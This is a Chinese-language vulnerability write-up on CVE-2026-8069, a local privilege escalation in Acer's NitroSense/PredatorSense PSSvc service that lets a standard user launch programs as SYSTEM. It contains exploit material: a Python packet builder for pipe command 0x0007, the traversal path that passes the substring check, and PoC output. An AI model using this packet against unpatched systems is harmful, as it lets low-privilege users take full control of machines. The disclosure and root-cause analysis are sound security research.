宏碁 NitroSense 和 PredatorSense 3.x 安装了一个名为 PSSvc 的 Windows 服务,该服务向本地用户暴露了一个自定义命名管道协议。其中一个协议命令接受调用者可控的可执行文件路径,复制 winlogon.exe 的令牌,并以 NT AUTHORITY\SYSTEM 身份启动该可执行文件。
该易受攻击服务中的路径限制是一个子字符串测试。以服务目录开头然后使用 ..\ 组件的路径能够通过测试,但实际解析到其他位置。结合管道的宽松访问控制以及缺少调用者授权,这使得标准本地用户能够获得 SYSTEM 进程。
宏碁分配了 CVE-2026-8069,发布了修复版本,并在其安全公告中对赫拉德茨-克拉洛韦大学的 Artem Domarev 表示了致谢。
本文重点介绍进程创建/本地提权路径。宏碁的公告还描述了任意文件删除,这不在本次验证的范围内。
研究方向的选择也受到了 SensePost 的 Leon Jacobs 发表的关于 OEM 软件的公开分析的影响。该工作记录了 ASUS DriverHub、MSI Center、Acer Control Centre 和 Razer Synapse 4 中的漏洞(Jacobs, 2025)。它强化了这样一种观点:供应商提供的硬件实用程序可能暴露有意义且未被充分探索的攻击面。我没有重新研究 Acer Control Centre,而是将调查扩展到宏碁的另一个产品系列:NitroSense 和 PredatorSense。
| 项目 | 结果 |
|---|---|
| CVE | CVE-2026-8069 |
| 测试的易受攻击组件 | PSSvc.exe 3.1.3052.0,由 Acer Incorporated 签名 |
| 服务身份 | LocalSystem |
| IPC 端点 | \\.\pipe\predatorsense_service_namedpipe |
| 易受攻击的命令 | 0x0007 |
| 所需攻击者访问权限 | 能够运行程序的身份验证本地用户 |
| 用户交互 | 无 |
| 结果 | 以 NT AUTHORITY\SYSTEM 身份启动任意可执行文件 |
| NVD CVSS v3.1 | 7.8 高危 — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 修复版本 | PredatorSense 3.00.3198;NitroSense 3.01.3056 |
利用链很短:
身份验证本地用户
│
▼
宽松的 PSSvc 命名管道
│ 自定义命令 0x0007
▼
仅子字符串路径检查
│ 服务目录\..\..\..\Windows\System32\cmd.exe
▼
复制活动会话的 winlogon.exe 令牌
│
▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM
公开表述中存在不一致之处。宏碁的页面称 NitroSense 版本“早于 3.01.3052”受影响,但本文测试的供应商签名 PSSvc.exe 版本 3.1.3052.0 已被证明存在漏洞。同一页面将 NitroSense 3.01.3056 列为修复版本。NVD 适用性范围也延伸至但不包括 3.01.3056。
对于 PredatorSense,宏碁的受影响版本描述在 3.00.3196 之前停止,而列出的修复版本是 3.00.3198,NVD 使用后者作为上限。
因此,保守的操作规则很简单:不要使用含糊的“受影响”描述作为补丁检查依据。请至少升级到宏碁指定的修复版本——PredatorSense 3.00.3198 或 NitroSense 3.01.3056——或更新的兼容型号的软件包。
该问题已使用原始 NitroSense 软件包复现。
| 工件 | SHA-256 |
|---|---|
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip | 947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157 |
NitroSense.msi | 6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C |
已安装的 PSSvc.exe 3.1.3052.0 | 3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40 |
| 用于验证的 PoC | 31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163 |
PSSvc.exe 的 Authenticode 签名验证成功并链接到 Acer Incorporated。MSI 将 PSSvc 安装为以 LocalSystem 身份运行的按需启动、独立进程服务。
NitroSense 软件包安装:
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE: WIN32_OWN_PROCESS
START_TYPE: DEMAND_START
ACCOUNT: LocalSystem
SYSTEM 服务并不自动存在漏洞。关键问题是较低权限的进程是否能够触达那些在设计时假定调用者可信的功能。
字符串分析立即暴露了 IPC 端点:
\\.\pipe\predatorsense_service_namedpipe
在 0x140014AD0 处,该服务构造管道并向 CreateNamedPipeW 传递一个显式安全描述符:
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)
这一点需要明确纠正:易受攻击的版本不会传递 NULL 描述符。它创建了一个宽松的 DACL。
| SID 缩写 | 主体 | SDDL 中的有效权限 |
|---|---|---|
BG | 内置来宾 | 完全控制 |
AN | 匿名 | 拒绝完全控制 |
AU | 身份验证用户 | 读取、写入和执行 |
BA | 内置管理员 | 完全控制 |
AU ACE 足以让普通身份验证用户打开管道进行读写。服务器随后不会模拟客户端并在分派特权命令之前执行授权决策。
0x14000ABB0 处的客户端线程将消息读入 512 字节缓冲区。它将前三个字节解析为 16 位命令号和 8 位参数计数。每个参数都有长度前缀:
偏移量 大小 含义
0x00 2 命令 ID,小端序
0x02 1 参数数量
0x03 4 参数 0 的长度
0x07 n 参数 0 的字节
... 重复的 DWORD 长度 + 值
字符串参数为 UTF-16LE。整数参数为小端序 DWORD。调度器接受低于 0x23 的命令 ID,并将它们用作 0x140052C90 处 35 项函数表的索引。
命令 0x0007 的条目指向 0x14000BFD0。
简化为其安全相关行为,该处理程序如下所示:
int command_07(parsed_arguments *args)
{
wchar_t service_directory[MAX_PATH];
wchar_t *requested_path = args->wide_string[0];
uint32_t mode = args->dword[1];
GetModuleFileNameW(NULL, service_directory, MAX_PATH);
PathRemoveFileSpecW(service_directory);
if (wcsstr(requested_path, service_directory) != NULL)
return launch_with_selected_token(requested_path, mode);
return 0;
}
wcsstr 仅回答一个字符串是否出现在另一个字符串中。它不会规范化路径、解析点段、打开文件或证明最终对象仍位于受信任目录下。
假设服务安装在:
C:\Program Files\Acer\NitroSense_Service
以下路径在偏移零处包含该目录,因此 wcsstr 成功:
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe
Windows 将点段解析为:
C:\WINDOWS\System32\cmd.exe
这是一个经典的规范化错误:验证在一种文本表示上执行,而敏感操作消费的是其规范化后的含义。
0x1400091F0 处的进程启动辅助函数在第二个参数为 0x72(十进制 114)时有一个特殊分支。它:
CreateToolhelp32Snapshot 枚举进程;winlogon.exe;winsta0\default 上启动调用者提供的路径。测试二进制中的关键调用点如下:
| 操作 | 地址 |
|---|---|
CreateToolhelp32Snapshot | 0x140009298 |
OpenProcessToken | 0x140009346 |
DuplicateTokenEx | 0x1400093B0 |
CreateProcessAsUserW | 0x1400094BF / 0x1400094C7 |
这意味着命令 0x0007 不仅仅是要求服务启动其自己的受信任工具之一。它向普通用户可以访问的管道暴露了一个通用的 SYSTEM 令牌进程启动器。
基本的数据包构建器很小:
import struct
def build_packet(command_id, *arguments):
packet = struct.pack("<HB", command_id, len(arguments))
for argument in arguments:
if isinstance(argument, str):
argument = argument.encode("utf-16-le")
elif isinstance(argument, int):
argument = struct.pack("<I", argument)
packet += struct.pack("<I", len(argument)) + argument
return packet
service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"
# 处理程序期望路径、令牌模式和另外八个槽位。
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))
完整的验证脚本使用 CreateFileW 打开管道,设置消息模式,发送此数据包,并解码服务的回复。它会发现已安装的服务路径而不是硬编码,并在发送任何内容之前检查规范化后的目标。
本文使用的完整脚本可在 acer_cve_2026_8069_poc.py 获取。
供应商的 Setup.exe 执行硬件检查并提供私有 MSI 属性。我提取了 NitroSense.msi 并从 .NET 引导程序中恢复了这些属性:
$arguments = @(
'/i', 'C:\Lab\NitroSense.msi',
'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
'GPRODUCTNAME=NitroSense_Service',
'/qn', '/norestart',
'/l*v', 'C:\Lab\install.log'
)
Start-Process msiexec.exe -ArgumentList $arguments -Wait
这些属性在未通过其环境检查的硬件上重现了引导程序的安装路径。
安装后,我验证了文件版本、SHA-256 和签名,然后启动了按需启动的服务:
sc.exe qc PSSvc
sc.exe start PSSvc
请求是从一个以中等完整性运行的标准非管理本地账户发送的。
从该账户:
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe
服务返回:
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
Packet size: 227 bytes
Raw response: 010400000001000000
Return code: 1
[CRITICAL] PROCESS CREATED SUCCESSFULLY
PoC 的成功消息本身并不是证明。我从管理证据通道独立查询了生成的进程:
Parent : PSSvc.exe
Session : Interactive
Owner : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"
SYSTEM shell 是交互式会话中 PSSvc.exe 的直接子进程,其命令行上保留了遍历路径。
我还在成功请求期间跟踪了服务 API。跟踪记录了活动会话 1、成功的 WTSQueryUserToken、进程快照、对会话 winlogon.exe 的 OpenProcess、成功的 DuplicateTokenEx、完整性令牌修改以及进程启动辅助函数的成功返回。


这不是一个孤立的错误比较。利用需要多个信任失败同时出现:
wcsstr 而非规范化路径验证实现。winlogon.exe 令牌的代码。移除最后四个环节中的任何一个都可以阻止此本地提权路径。纵深防御应移除所有环节。